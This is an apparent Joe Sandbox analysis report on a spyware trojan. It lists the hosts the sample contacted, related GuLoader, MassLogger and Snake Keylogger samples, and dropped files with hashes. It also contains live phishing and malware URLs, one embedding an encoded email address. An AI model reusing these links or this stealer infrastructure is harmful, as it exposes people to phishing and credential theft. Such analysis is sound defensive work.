http://api.telegram.org	9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F62000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036E4B000.00000004.00000800.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036F02000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/D9?	9Yn5tjyOgT.exe, 00000006.00000002.3433775511.0000000039440000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036CF1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/6	9Yn5tjyOgT.exe, 00000006.00000002.3412063078.00000000067AD000.00000004.00000020.00020000.00000000.sdmp, 9Yn5tjyOgT.exe, 00000006.00000003.2930366052.00000000067B5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/7	9Yn5tjyOgT.exe, 00000006.00000003.2930366052.00000000067B5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	9Yn5tjyOgT.exe, 00000006.00000002.3432675851.0000000036D70000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.78	drive.google.com	United States	15169	GOOGLEUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.185.129	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
104.21.32.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588203
Start date and time:	2025-01-10 22:38:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	9Yn5tjyOgT.exe renamed because original name is a hash value
Original Sample Name:	927c3960a7d3c785ff7de3e89215dd9a895f27b2646011e34739201805b2b501.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@6/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 168 Number of non-executed functions: 112
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 52.149.20.212
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:40:28	API Interceptor	251x Sleep call for process: 9Yn5tjyOgT.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
104.21.32.1	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
104.21.32.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	redroomaudio.com/administrator/index.php
132.226.247.73	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	upXUt2jZ0S.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	VQsnGWaNi5.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	upXUt2jZ0S.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.16.1
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
checkip.dyndns.com	VQsnGWaNi5.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	upXUt2jZ0S.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
api.telegram.org	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
UTMEMUS	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	upXUt2jZ0S.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	FylY1FW6fl.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
CLOUDFLARENETUS	VQsnGWaNi5.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	http://@1800-web.com/new/auth/6XEcGVvsnjwXq8bbJloqbuPkeuHjc6rLcgYUe/bGVvbi5ncmF2ZXNAYXRvcy5uZXQ=	Get hash	malicious	Unknown	Browse	104.17.25.14
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	87J30ulb4q.exe	Get hash	malicious	Unknown	Browse	104.21.96.1
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	https://services221.com/mm/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://atpscan.global.hornetsecurity.com/?d=W3rdHn1Og9hhUJnVJzqWF36wMmxswAZldvtx3E21ybg&f=v8m9AqGfgV2Ri7cjqmfsuyl2V2Mu_lVW0BRsqcFw4upagWAQ1C-MqANvN6gf4zNV&i=&k=xREg&m=b_ORYMkPffImCXbCPli-aiR7Ga6rGe55sar2xtigCL4MrowDPSzt7ABKETTGxzegakAfoZ57KD02aVix8V8TVmZ2VcxzjeybXYrPiS2SB73LCKYktj5jv2aw6VcPRslz&n=s4crRkyHC4bab6S3yrgn1E3n-VmdqgfSqNiaCJyPrf6hnyL_SE4PHEo5SUcwwsFGV6rnB35iQFM5FLsE91obvZ0HTAEiqHnB8ROLzY5JVgg&r=oMs_cp4DXIjeQhcPWsPLyR3_oxBVUN4Iok_tSVE4DNNtzqeot7ZzvdXkh4vatwpC&s=bd82eb507a358fd35f72f18b86e67f3bfc1ce64bbeab0c01d700897b1b678efb&u=https%3A%2F%2Fe.trustifi.com%2F%23%2Ffff2af%2F32054d%2F67960f%2Fee6fed%2F5d1d11%2F46c760%2Ff79190%2Fc5ec40%2Fe8666a%2Fef542d%2F85972d%2F627493%2F9a11d6%2F1f4096%2F1d247f%2F818e78%2Fc53383%2Fd59aa0%2Fedfa57%2F7914c7%2Fc38cf6%2Ff74f56%2Ff45915%2F39dbbd%2Ff48710%2F1ddf22%2F37d5f2%2F9de9f7%2F96109e%2F882355%2F854b66%2F9d606d%2F2d0447%2Fad3b01%2F637d1c%2F3c0f2b%2F606f48%2Fa6d904%2F8fefe3%2F00a4bb%2F6520c6%2F9b795c%2Fb7de1a%2Fb5dde6%2F3f5692%2F997c7d%2Fc00925%2F782cce%2F511459%2Fab5aa8%2F91722a%2Feec933%2F3f4f91%2F894088%2F43adfa%2Fb78195%2F0407d0%2F56f022%2Fddf20e%2F946567%2Faa271a%2F507b7a%2Faccd06%2F50d63c%2F485c4b%2F07ced8%2Fd0ec21%2F260ce6%2Fb5edbb%2F79a81e%2F1fd160%2Ff4da41%2F7073e0%2F8a5e9a%2Fdac829%2F521e52%2Fa1a847%2F13ea63%2Fabb5a3%2Fe1901e%2Fd876f6%2F7b0bf4%2Fbd19df%2F89bdcd%2F1874d8%2F0fb7f3%2F72f438%2Fa098c5%2F4e2214%2F4b6e54%2F0c4a8f	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.shinsengumiusa.com/mrloskie	Get hash	malicious	Unknown	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	VQsnGWaNi5.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	upXUt2jZ0S.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
3b5074b1b5d032e5620f69f9f700ff0e	iRmpdWgpoF.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	iRmpdWgpoF.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	3pwbTZtiDu.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	JgE2YgxSzB.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	87J30ulb4q.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	lsc5QN46NH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	jG8N6WDJOx.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.185.78 142.250.185.129
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.185.78 142.250.185.129
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.185.78 142.250.185.129
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.185.78 142.250.185.129
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.185.78 142.250.185.129
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.185.78 142.250.185.129
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.185.78 142.250.185.129
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.185.78 142.250.185.129
	https://patiooutletmaipu.cl/tiendas/head/	Get hash	malicious	LummaC, CAPTCHA Scam ClickFix, LummaC Stealer	Browse	142.250.185.78 142.250.185.129
	IpykYx5iwz.exe	Get hash	malicious	Remcos, GuLoader	Browse	142.250.185.78 142.250.185.129

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp\System.dll	6ZoBPR3isG.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	V7OHj6ISEo.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Remcos	Browse
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

Download File

Process:	C:\Users\user\Desktop\9Yn5tjyOgT.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 2560x2560, components 3
Category:	dropped
Size (bytes):	484658
Entropy (8bit):	7.809711763657168
Encrypted:	false
SSDEEP:	12288:W1S3xo63wl4biprI2S4WwWEcwxg9dvVAxZOCLF0DB:Wo3xX3y4bz2lWwWo6rSTZyd
MD5:	5C727AE28F0DECF497FBB092BAE01B4E
SHA1:	AADE364AE8C2C91C6F59F85711B53078FB0763B7
SHA-256:	77CCACF58330509839E17A6CFD6B17FE3DE31577D8E2C37DC413839BA2FEEC80
SHA-512:	5246C0FBA41DF66AF89D986A3CEABC99B61DB9E9C217B28B2EC18AF31E3ED17C865387223CEB3A38A804243CF3307E07E557549026F49F52829BEBC4D4546C40
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.....,.,.....]http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5, 2022/05/09-07:22:29 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmp:CreateDate="2018-04-27T15:00:27+08:00" xmp:ModifyDate="2022-09-22T14:01:54+08:00" xmp:MetadataDate="2022-09-22T14:01:54+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:b728d5c8-8822-6d4c-afc1-a393cb2a04ec"

C:\Users\user\AppData\Local\Iw\Magnetnaalen.Slu

Download File

Process:	C:\Users\user\Desktop\9Yn5tjyOgT.exe
File Type:	data
Category:	dropped
Size (bytes):	282613
Entropy (8bit):	7.770357946749731
Encrypted:	false
SSDEEP:	6144:0T3a1yAznaudafqZNjxXGwxUBrfaoC1WpwCE05:0ja1yAzapENjtxuyoCBCF5
MD5:	490AF8DDFA7395B2F09EF3030513BDAC
SHA1:	73EF5B2DFBD388C073949558D035F33F2DDA4F49
SHA-256:	DA00AD11180D0C8F61073865A3A6D8EDA1EE99AE2495F14C87814FB563897CDE
SHA-512:	7C237140565C29608B7BE723219326B8D03F42F2445545B794274226A555B65ADB2A2B0C386047A0BCC62062C3D50BD5DA3EB9C9A9DD8DF480115580E2CB139C
Malicious:	false
Reputation:	low
Preview:	..r................XXX.......F.[....f..........BBB..................................nn...@.........................~.;;;;..........)...u..rrrr......p..YY.....................................(((........B....R..............................X.{{..pppp......................""".......p..... ..I.......................8.;;..................f......P.i. ................................;;.....~.....N.......................ssssss....$$$.!!....................................d...}...................p.?...................J...0..~......:.......................II.......................d..---..............WW.nn..e..............................;.nn.......%..........\|.........ZZ............$$$......................jjjjjjjjj......n.<<.....YYYYYY.JJ..........................."..+++.........$.~.....jj.5..................................K......5.......P.."..........+...............KK....n.........V..4.........m...............$........[[[..........................F..........BBBB..V....?.......F.......II.....,

C:\Users\user\AppData\Local\Iw\Vehefte190\Kbmandsskole.str

Download File

Process:	C:\Users\user\Desktop\9Yn5tjyOgT.exe
File Type:	data
Category:	dropped
Size (bytes):	112291
Entropy (8bit):	1.249420131631438
Encrypted:	false
SSDEEP:	768:5R+BCpkJWjYWL2MxTVLvUjpGqik9JiAfWA2DBQwD1PzUH+HYZmIo7x31sT:WCZY21w0I2NZYD
MD5:	4D1D72CFC5940B09DFBD7B65916F532E
SHA1:	30A45798B534842002B103A36A3B907063F8A96C
SHA-256:	479F1904096978F1011DF05D52021FAEEE028D4CF331024C965CED8AF1C8D496
SHA-512:	048844A09E291903450188715BCDDF14F0F1F10BEAFBD005882EBF5D5E31A71D8F93EEBE788BD54B4AED2266C454F4DCA18AF4567977B7E773BBE29A38DEA45B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..........P............+......................................................................................................................X......n..(................G...................................m.........\|.......................U.............`............l..............@}.........a........................................s............y.................N...............B...............w.e..........................................Q......*...................................................................................................a...........................f..................p..................t...........................................9.Q................@....................e................................................................:..............P.......S.........................P........................9..............._.......................(...............N............................................................H.T..........c..............................

C:\Users\user\AppData\Local\Iw\Vehefte190\Sensuousnesses.opk

Download File

Process:	C:\Users\user\Desktop\9Yn5tjyOgT.exe
File Type:	data
Category:	dropped
Size (bytes):	362089
Entropy (8bit):	1.23992084267325
Encrypted:	false
SSDEEP:	768:xOeaameETrlE0+1mGOWb3h5WAV0hW+JSLSwzj2HlSdL0f6mhKZRaqOzWz6szt3cA:x+ds5dYOVxIW3hhdeRt6MeZ1W4vB
MD5:	A4340182CDDD2EC1F1480360218343F9
SHA1:	50EF929FEA713AA6FCC05E8B75F497B7946B285B
SHA-256:	B91E5B1FF5756F0B93DCF11CBC8B467CDA0C5792DE24D27EC86E7C74388B44B3
SHA-512:	021F198AFF7CCED92912C74FC97D1919A9E059F22E99AB1236FBAA36C16B520C07B78F47FC01FCFAC1B53A87CDAE3E440D0589FA2844612617FAB2EDB64A3573
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..........F.............................i.....................B.........................................b..Et.............................O...........h...............................................................................8..........n.....................w.................../.......\|.......'........,..........(...........................W......#..................................................................................................=..........................]..........q................................................[.................2....S............................"...................................$!..............................=.......................................[f.................................................................................................................V.............................w...................................................$.............................................................j...........h.............J..............

C:\Users\user\AppData\Local\Iw\Vehefte190\Smaafejlene.Enh

Download File

Process:	C:\Users\user\Desktop\9Yn5tjyOgT.exe
File Type:	data
Category:	dropped
Size (bytes):	56233
Entropy (8bit):	4.65375452210968
Encrypted:	false
SSDEEP:	768:rj2C9+aq/o93JNi8B9ecUFLJdeQZJPovnkhAYkl340L5GWRDkPlvVO8:eC9qkx+cYJAvxZL5GWRDkPldO8
MD5:	992281B025D7BAEF4545699D0D4F8F8B
SHA1:	3B45C861EE116FCA431FC2C1B40F4C0825E2349C
SHA-256:	610A682BA8A94007BF7DDC2340FD89916EFAF527D42F5B7943325DE6AFF5633B
SHA-512:	A6E64EB2C64D70C453252481CA2B098FDB8A99C487767FEE649ABCC6EA516F428A669B80FD0D48CB8229967B29D8EF09A584EA019C63A39915E5FB9973592B24
Malicious:	false
Reputation:	low
Preview:	.....BB............ ..................rr.>..8.........>>..YY..QQ.............ii..VV....RRR..c......r...........{.....ll...................................l..7777............99.........;......a......1....hh.......;;..............BBBBBB..{.e..........WW.xx.vv...2..............;....7....ff.........................7....J........%.FFF..DD..66.].....t....!!..)))))............C.k...........................................ZZ............sss...5...........9. .............................zz.$.T....[[[.................///.............#........SSSS........B.h...................4.66.Q.-........j..............7......................gg..................G.....'''.IIIIII.U..............<<<..L..##.......?.................................^.......}..............ii..\\\..........yyyy.*......z.4.h...........b.rrr.55.i....NNN.......s....qq.......................1....D..y................aaa...dd................t...P.......rr............ff....YY.__.EE..............qqq..........~...!!.....:::..)...........O

C:\Users\user\AppData\Local\Iw\Vehefte190\prepares.pli

Download File

Process:	C:\Users\user\Desktop\9Yn5tjyOgT.exe
File Type:	FoxPro FPT, blocks size 22, next free block index 285212672, field type 0
Category:	dropped
Size (bytes):	139354
Entropy (8bit):	1.2473328695625903
Encrypted:	false
SSDEEP:	768:9OsMSh8lSnJGyUzWZsO2ipzPFmDZC9kpzroto48tf2+5lVp:9delFlqNawgJp
MD5:	B0FB6B583D6902DE58E1202D12BA4832
SHA1:	7F585B5C3A4581CE76E373C78A6513F157B20480
SHA-256:	E6EA5F6D0C7F5FA407269C7F4FF6D97149B7611071BF5BF6C454B810501AE661
SHA-512:	E0894FFBD76C3476DC083DAFD24F88964BF6E09E4CA955766B43FE73A764A00247C930E9996652A22B57B27826CD94F88B8178514060CA398DE568675F9E4571
Malicious:	false
Preview:	.......................................\|...................................................................+................$......&....A........................................................Z.....................................A...............!.....Y........................l..........9..................c.............f.................F...".................................................h.......................................\..............J............................5......t.....E.................q........................:......^....................................................................................I..........................................................x......W....................................................................................M...........................X..............................,..................m.......................................................................................................................J........ ...F...........

C:\Users\user\AppData\Local\Temp\nsh3992.tmp

Download File

Process:	C:\Users\user\Desktop\9Yn5tjyOgT.exe
File Type:	data
Category:	dropped
Size (bytes):	1463513
Entropy (8bit):	5.500357894410235
Encrypted:	false
SSDEEP:	24576:2CzapE1uAcmo3xX3y4bz2lWwWo6rSTZySc:vziIX7oBXbz2luo6rS1yB
MD5:	F9F612C655B2ED3A04A99B49F7BDEE5C
SHA1:	BC63FBDA9CEEA6D628C29D62E567B49039D96A5E
SHA-256:	714FE113574E6937835AADD07DEB13E1DC308004702544E132AFE59B670BDF3F
SHA-512:	4B9AEA338111F74EEAB54C6EDE3FA6F2083A4B8CFFC4C36FA61C704361BF7A6261A3A8C0FF8721C6EC1D505F9A44D23330DBF734F85B357C0D2A9F0323D243C7
Malicious:	false
Preview:	\|6......,.......,.......\........!......65......46..........................M...i............................H..............................................................................................................................................................................G...J...............h...............................................................g...............................................................j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\9Yn5tjyOgT.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.719859767584478
Encrypted:	false
SSDEEP:	192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
MD5:	0D7AD4F45DC6F5AA87F606D0331C6901
SHA1:	48DF0911F0484CBE2A8CDD5362140B63C41EE457
SHA-256:	3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
SHA-512:	C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
